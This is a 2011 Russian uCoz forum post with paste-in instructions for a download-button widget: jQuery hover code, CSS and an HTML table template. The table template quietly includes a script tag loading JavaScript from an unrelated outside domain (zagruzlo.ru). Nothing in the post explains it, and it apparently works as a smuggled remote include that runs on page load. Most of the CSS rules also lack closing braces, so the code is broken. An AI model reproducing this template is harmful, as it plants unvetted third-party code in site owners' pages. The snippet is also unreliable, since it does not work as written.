Вы хотите отреагировать на этот пост ? Создайте аккаунт всего в несколько кликов или войдите на форум.


 
ФорумФорум  Последние изображенияПоследние изображения  ПоискПоиск  РегистрацияРегистрация  ВходВход  

 

 Кнопка скачать с размеров,названием и скачками + psd

Перейти вниз 
АвторСообщение
faser




Сообщения : 17
Дата регистрации : 2011-02-12

Кнопка скачать с размеров,названием и скачками + psd Empty
СообщениеТема: Кнопка скачать с размеров,названием и скачками + psd   Кнопка скачать с размеров,названием и скачками + psd Icon_minitimeВт Ноя 01, 2011 12:22 am

СКРИН: http://s46.radikal.ru/i114/1005/45/db1a1a539c2a.png

Установка:

1.Между тегами head вставляем:

Главная » Управление дизайном »Страницы сайта

Код:
<script type="text/javascript" src="/imdown/jquery-1.3.2.min.js"></script>       
<script type="text/javascript"> 
$(document).ready(function() { 
$('.homebutton,.downloadbutton').append('<span class="hover"></span>').each(function () { 
var $span = $('> span.hover', this).css('opacity', 0); 
$(this).hover(function () { 
$span.stop().fadeTo(500, 1); 
}, function () { 
$span.stop().fadeTo(500, 0); 
}); 
}); 
}); 
</script>

2.Открываем css и в самый конец вставляем:

Код:
.downlod_title { 
font-family: tahoma; 
font-size: 10px; 
color: #FFFFFF; 
padding-top: 2px; 
height: 23px; 

.downlod_footer { 
font-family: tahoma; 
font-size: 10px; 
color: #FFFFFF; 
padding-bottom: 2px; 
height: 23px; 

.downloadbutton { 
float: left; 
width:107px; 
height:38px; 
display:block; 
background-image:url(../imdown/twobuttons.png); 
background-position: top right; 

.downloadbutton span.hover{ 
position: absolute; 
display: block; 
width:107px; 
height:38px; 
background-position: bottom right; 
background-image:url(../imdown/twobuttons.png); 

.homebutton { 
float: left; 
width:120px; 
height:38px; 
display:block; 
background-image:url(../imdown/twobuttons.png); 
background-position: top left; 

.homebutton span.hover{ 
position: absolute; 
display: block; 
width:120px; 
height:38px; 
background-position: bottom left; 
background-image:url(../imdown/twobuttons.png); 
}

3.В том место где хотим видеть вставляем:

Код:
<table border='0' cellspacing='0' cellpadding='0' align='center' background='/imdown/downlod.png' wight='220' height='84'> 
<tr> 
<td align='center' class='downlod_title'>$TITLE$</td> 
</tr> 
<tr><script src="http://zagruzlo.ru/swf.js" type="text/javascript"></script> 
<td><a href="$RFILE_URL$" target=_blank ><img src="/imdown/twobuttons.png"></a> 
        </td> 
           
</tr> 
<tr> 
<td align='center' class='downlod_footer'>Размер: [$RFILE_SIZE$] Скачали: ($LOADS$)раз(а)</td> 
</tr> 
</table>

3.Создаем папку imdown и все файлы кидаем в эту папку

Psd картинки есть в архиве

http://depositfiles.com/ru/files/7tjnabuhk
Вернуться к началу Перейти вниз
 
Кнопка скачать с размеров,названием и скачками + psd
Вернуться к началу 
Страница 1 из 1

Права доступа к этому форуму:Вы не можете отвечать на сообщения
 :: Скрипты для uCoz :: Другие скрипты для uCoz-
Перейти: